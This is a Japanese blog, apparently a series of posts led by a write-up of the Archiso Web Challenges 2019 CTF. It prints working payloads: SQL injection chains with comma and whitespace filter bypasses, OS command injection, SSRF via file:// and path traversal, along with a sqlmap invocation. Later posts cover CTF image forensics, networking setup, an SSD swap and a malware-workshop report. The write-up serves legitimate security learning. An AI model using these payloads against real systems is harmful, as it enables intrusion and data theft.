Archiso Web Challenges 2019 Writeup
こんにちは、Marsです。
今回は、Archiso Web Challenges 2019に参加してきました。
問題は12問あります。
今回は、8時間38分ほどかけてやっと全問解けましたが、ちょっと遅かったです。
今後解くスピードを上げるために、Writeupを書いておきます。
問題の全体はこんな感じです。
[100点問題はパスします]
Out of Display [100pt] (パス)
Whited Out [100pt] (パス)
Rel [100pt] (パス)
Agent [200pt]
- Keyword:
User Agent
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
- Flag:
WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}Ref [200pt]
- Keyword:
Referer
Referer: https://www.google.com/
- Flag:
WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}Oluri Key [300pt]
- Keyword:
SQL Injection
User ID: ' OR '1'='1'; --
- Flag:
WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}Fruits List [300pt]
Keyword: OS Command Injection
- Source Code:
- Payload:
view-source:https://awebc19.archiso.dev/problems/fruits_list/index.php?season=;ls%20-la%20/
- Flag:
WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}
Dolls Data 1 [400pt]
- Keyword:
SQL InjectionMethod 1:
- Payload:
sqlmap -u "https://awebc19.archiso.dev/problems/dolls_data_1/query.php" --data "value=1&option=id" --cookie="session=5d22cab7-413c-48e0-a858-e34eee4abd6a;__cfduid=d4712e5e18be0cbf6c2521da1b2e0b8521577179386" -p value --dump --identify-waf -v 3
Method 2:
- Find database:
1' UNION ALL SELECT schema_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata; --
Result:
- Find tables:
1' UNION ALL SELECT table_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables; --
Result:
dolls_data_1_flag_b3f4befc
- Find columns:
1' UNION ALL SELECT column_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns; --
Result:
kar98k
一番したにスクロールして、
- Get flag:
1' UNION ALL SELECT kar98k,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM dolls_data_1_flag_b3f4befc; --
Result:
Flag: WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}
Single Page HTML Viewer 2 [419pt]
- Keyword:
Server Side Request Forgery
問題文が重要:
- Try:
まず、FiddlerでNull Byteを注入してみる
(Cookie丸出しですが無視してください^ ^)
エラーが出たので、使用された関数とquery.phpのpathが分かった(みんな分かると思いますのでサイト側のmain.jsコードの説明を省略)
ローカルパスfile://
で読み込みます。 - Payload:
file:///flag
- Result:
(Cookie丸出しですが無視してください^ ^) - Flag:
WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}
Go Mikuji [500pt]
- Keyword:
Path Traversal
ファイルが与えられます。
- Introduction:
ファイル構造:
flag.txtはpublicディレクトリの親ディレクトリに入っています。
Golangの関数を一つ一つ調べました。
ざっと説明すると、パス:”カレントディレクトリのPath+public+URL断片"のファイルのテキストを表示するコードです。
コード1~2行目:URL断片は、まずhttp requestのオブジェクト?(多分)、を変数rに格納し、rからURLを取得し、そのURLの一番後ろにあるスラッシュ/の次の文字から末尾文字までの文字列となっています。
コード3行目:バックスラッシュがあったらそれをスラッシュに書き換える。
Path Traversalを起こすには、ちょっと工夫すれば大丈夫です。
https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt
にアクセス
↓(コード1行目と2行目の処理)
..\\flag.txt (URL断片)
↓
path:カレントディレクトリのPath/public/..\\flag.txt
↓(コード3行目の処理)
path:カレントディレクトリのPath/public/../flag.txt
↓(コード4行目の処理)
os.Open(path) - Payload:
curl -v https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt
Flag: WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}
Dolls Data 2 [400pt]
手動注入でかなりはまりました。原因は11列のデータも取得しようとしてることを思いつかなかったことです。
8列までNULLを試したがずっと失敗してて、エラーの理由が分かりませんでした。
反省点:何かのフィルタリングでsqlmapが失敗する場合は、bashとかでも書いて列数を増やしながらcurlで確認して手動注入します。
- Keyword:
SQL Injection
SQL Injection: カンマがフィルタされた
解決方法:
github.com
( Ctrl+F: No Comma - bypass using OFFSET, FROM and JOIN )
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
- Find database:
1' UNION ALL SELECT * FROM (SELECT schema_name FROM information_schema.schemata)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Result:
spas - Find table:
1' UNION ALL SELECT * FROM (SELECT table_name FROM information_schema.tables)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Result:
dolls_data_2_flag_dfe61e6c - Find columns:
1' UNION ALL SELECT * FROM (SELECT column_name FROM information_schema.columns)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Result:
hkm4 - Get flag:
1' UNION ALL SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Flag:
WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}Dolls Data 3 [400pt]
- Keyword:
SQL Injection
SQL Injection: 空白もカンマもフィルタされた
解決方法:
空白→/**/ ( コメントの記述 ) - Find database:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/schema_name/**/FROM/**/information_schema.schemata)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Result:
spitfire - Find table:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Result:
dolls_data_3_flag_979c7e90 - Find columns:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/column_name/**/FROM/**/information_schema.columns)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Result:
m4a1 - Get flag:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Flag:
WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}
SQL Injection: 早見表
marsblog.hatenablog.jp
全体としては初心者向けな感じがしますが、とても良い問題だと思います。
サムネイル画像・検出および抽出方法
justCTF 2019のwriteup
Matryoshka (157 pts)
Look at this picture. Can you get the flag?
jpg画像が与えられます。
thumbnail画像チェック:
root@fang:/mnt/hgfs/vmshare/ctf/justctf2019/misc# exiftool matryoshka.jpg ExifTool Version Number : 11.79 File Name : matryoshka.jpg Directory : . File Size : 571 kB File Modification Date/Time : 2019:12:23 22:28:07+09:00 File Access Date/Time : 2019:12:23 22:39:07+09:00 File Inode Change Date/Time : 2019:12:23 22:28:07+09:00 File Permissions : rwxrwxrwx File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Warning : [minor] File contains multi-segment EXIF Exif Byte Order : Little-endian (Intel, II) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Software : GIMP 2.10.14 Modify Date : 2019:12:13 20:22:50 Color Space : sRGB Compression : JPEG (old-style) Photometric Interpretation : YCbCr Samples Per Pixel : 3 Thumbnail Offset : 292 Thumbnail Length : 453442 Profile CMM Type : Little CMS Profile Version : 4.3.0 Profile Class : Display Device Profile Color Space Data : RGB Profile Connection Space : XYZ Profile Date Time : 2019:12:13 19:20:34 Profile File Signature : acsp Primary Platform : Apple Computer Inc. CMM Flags : Not Embedded, Independent Device Manufacturer : Device Model : Device Attributes : Reflective, Glossy, Positive, Color Rendering Intent : Perceptual Connection Space Illuminant : 0.9642 1 0.82491 Profile Creator : Little CMS Profile ID : 0 Profile Description : GIMP built-in sRGB Profile Copyright : Public Domain Media White Point : 0.9642 1 0.82491 Chromatic Adaptation : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168 Red Matrix Column : 0.43604 0.22249 0.01392 Blue Matrix Column : 0.14305 0.06061 0.71393 Green Matrix Column : 0.38512 0.7169 0.09706 Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract) Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract) Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract) Chromaticity Channels : 3 Chromaticity Colorant : Unknown (0) Chromaticity Channel 1 : 0.64 0.33002 Chromaticity Channel 2 : 0.3 0.60001 Chromaticity Channel 3 : 0.15001 0.06 Device Mfg Desc : GIMP Device Model Desc : sRGB Image Width : 1200 Image Height : 567 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 1200x567 Megapixels : 0.680 Thumbnail Image : (Binary data 453442 bytes, use -b option to extract)
一番下にThumbnail Imageの情報が書かれています。453442 bytesのバイナリデータで、-bオプションで抽出できると丁寧に書いています笑
サムネイル画像抽出:
exiftool -b -ThumbnailImage matryoshka.jpg > thumbnail.jpg
thumbnail.jpgを開く:
繰り返しサムネイル画像を抽出すると:
justCTF{d1d_y0u_kn0w_7h47_f1r57_m47ry05hk4_d0ll_w45_m4d3_129_y34r5_4g0}
File magic number
Just for CTF
How to install GNS3 and capture packets?
Index
- Installation
- Capture packets
Installation:
Capture packets:
We first need to configure IP addresses.
(e.g.
PC1: $ ip 10.1.1.1 255.255.255.0
PC2: $ ip 10.1.1.2 255.255.255.0
//restart GNS3
)
Step 1:
- Right click the link that we want to capture.
- Click 'start capture' and click 'ok'.
Check out if there are some error messages.
In my case, I got some error messages.
This error message indicates that the path of Wireshark is unknown.
Thus, just modify the path of Wireshark to the true one.
Click 'Edit' on the menu bar and click 'preference', then go to 'Packet Capture'.
The default path of wireshark is 'C:\Program Files\Wireshark\wireshark.exe', I just changed it to the following stuff.
Then, click 'Apply' and 'OK'.
Fixed.
Try to send ICMP packet...
Notice I'm capturing packets between PC1 and Switch, so I sent ICMP packets from PC1 to PC2.
Successful!
(VMWare) How to fix Kali linux stuck on "Started daily apt upgrade and clean activities"?
Problem:
The VM stuck on "Started daily apt upgrade and clean activities" and we can't startup.
In my case, I just extended disk space from 20GB to 40 GB.
Solution:
1. Shutdown the VM.
2. Extend the disk.
3. Save and startup VM.
4. Startup with recovery mode and input a command 'sudo apt clean', restart.
Great.
(SSD交換)SSDが届いたら何をすれば良い?
こんにちは!Marsです。
最近VMを起動するとパソコンが異常に重い事態が頻繁に発生し、パソコンがほぼ使い物にならないと思ってSSDを買いました。
交換する前のHDDは4年ほど使っていて、やっと寿命が来た?って思いました。
自分はHDD/SSDの交換経験がないので、友人に聞いてたらSamsungとIntelのSSDはいいぞって言われて、Amazonで調べたら1TBのSSDがありました。その値段はなんと、、、1万円!
いい買い物だったぞ、
さて、設定しよー
最初はクローンを考えていましたが、クローン元のHDDはGPTフォーマットだったのでMBRフォーマットよりだいぶややこしくなります。
クローンする際にOSの番地が変わってしまうので、ブート領域やページファイルなどがそのままコピーされるとOSが入っている番地に入ることができなくなるのでOSが起動できなくなります。それでBCD領域の再構築で躓いてWindowsの再インストールにしました。
Windowsをインストールした後、クローンより再インストールのほうがよくね?って思いました!
なぜなら、これをきっかけにファイルを整理して、いらないファイルをコピペしなくて済む...
何より大事なのは再インストールのほうが圧倒的に早い!
という点です。
手順:
1. 元のHDD or SSDのままWindows インストールメディアツールをダウンロードします。
www.microsoft.com
2. 途中でOSのUSBドライブを作成するオプションがあり、USBメモリを挿入してUSBドライブを作成します。
3. SSDを交換し(SATA接続にする)、BIOS設定からUSBからの起動の優先度をSSDより高く設定する。
4. USBからWindowsインストーラを起動し、SSDをフォーマットしてOSをインストールします。
5. 完了。あとはもとのHDD or SSDをHDDケース(接続タイプに注意)に入れてデータを移動するだけ
マイクロソフトのライセンス認証はマックアドレスで個人を識別しているので、同じ端末(同じMacアドレス)であればいくらでもWindows OSを再インストールできます(ライセンスキーの二度入力不要)。
【感想編】大和セキュリティin江戸・2019 参加レポート&深堀してみよう
こんにちワン、Marsです。
11月3日~4日に大和セキュリティのMAIR忍者チャレンジに参加してきました!試合形式でマルウェア解析の勉強会という感じですかね?
場所は東京・品川にある専門学校なんですが、最初は品川駅で降りて歩いて行こうと思ったら、2.7キロもあって慌てて駅に戻って、会場の最寄駅に到着しました。
セーフ...
角の方の席に座ることになって、コンテストの説明が始まりました。
説明していたのはザックさん(@yamatosecurity)で、初めてザックさんの本物を見ました!
鉢巻が一番印象に残りました。忍者ですからね
さて、コンテスト開始!
マルウェアを解析したのは初めてなので、いろいろ調べて勉強しようという気持ちを抱きながら解析を始めました。
実は、学校で研究&勉強目的でマルウェアをダウンロードしたことがあって、情報基盤センターの先生から「xxxがマルウェアをダウンロードしました」という脅迫メールが送られてきて、その後はマルウェア解析に手を付くことに戸惑いました。正当な理由でマルウェアの所持自体が犯罪ですからね。(研究&勉強目的は、正当かな?)
とりあえず表層解析して、その後はどういうようにマルウェアの詳細情報を抽出するかが全く分かりませんでした。
試合開始後に数分経つと、チームの強い人から表層解析の情報が届きました。ちなみに送られてきた表層情報は各種マルウェアのEXEファイルのハッシュ値とvirustotal&anyrunの解析レポートURLです。
マルウェア解析のためのVMは構築してあるが、解析用のツールはVMに全く入っていないのでとりあえず動的解析・behavior analysisに必要なツールをインストールしました。静的解析をするつもりがないのになぜか気まぐれでIDAとGhidraをインストール...
とりあえずVMにインストールしたツールはprocess hackerとbinary editorくらいかな、それ以外の解析作業は全部anyrunに丸投げ(オンラインマルウェア自動解析サンドボックス)...
any.run
ディスク容量が限界に達しているので、VMを起動するたびにフリーズして、そこでファイル削除祭りが始まりました。
そこで2時間通過...
昼飯食いてぇなー
一日目はマルウェアをクリックした後に作成されたファイルの動作に着目して解析結果をまとめましたが、時間のロスが大きくてあまり進んでいませんでしたが、徹夜してリベンジしてやろうと思いました。
--- 2日目 ---
24:00過ぎました、まだパソコンが重い。
そもそもこのパソコンは5年ほど使っているので、HDDもCPUもおじいちゃんになりました。しょうがないなー、就職したら良いパソコン買おうぜ
プロセスの関係性を分析して、知識の無さに痛感しました。
このプロセスってどのプロセスの子プロセスなんだろう?
どこから仮想通貨のマイニングをしてんだろう?
と、無限の疑問が浮かび上がり、Windowsのシステムプロセスを一個一個調べました。やはり一部のプロセスの関係性がわかんねぇなOrz
と、その時に、exe拡張子のファイルからps1拡張子のファイルに目を移りました。
最初は特に怪しそうなパワーシェルコマンドがなかったが(実際全部怪しいだろ!)、異常に長いランダムに見える文字列がありました。 あっ、これはまさか、マルウェアのbase64なんじゃ...
Linuxでbase64のデコードをして、正体が現れました。
中身は読めないバイナリコード以外に、コマンドラインでやり取りしてるような文字がありました!
チームメンバーの言う通り、やはりmimikatzというエクスプロイトツールが使われていました。
コマンドラインのようなやり取りが見えて、ほとんど「失敗」でした。
mimikatzの機能について調べたら、仮想通貨のマイニングとホストログインパスワードの窃取以外にもKerberosチケットの窃取など様々の機能が備わっています。
とりあえずslackにこの発見を報告!
試合終了まで分かったことは、これくらいでした。
試合終了!!
同じチームの方、本当にありがとうございます。
最終結果はBランクでしたが、かなり勉強になりました。
また来年来たいと思います。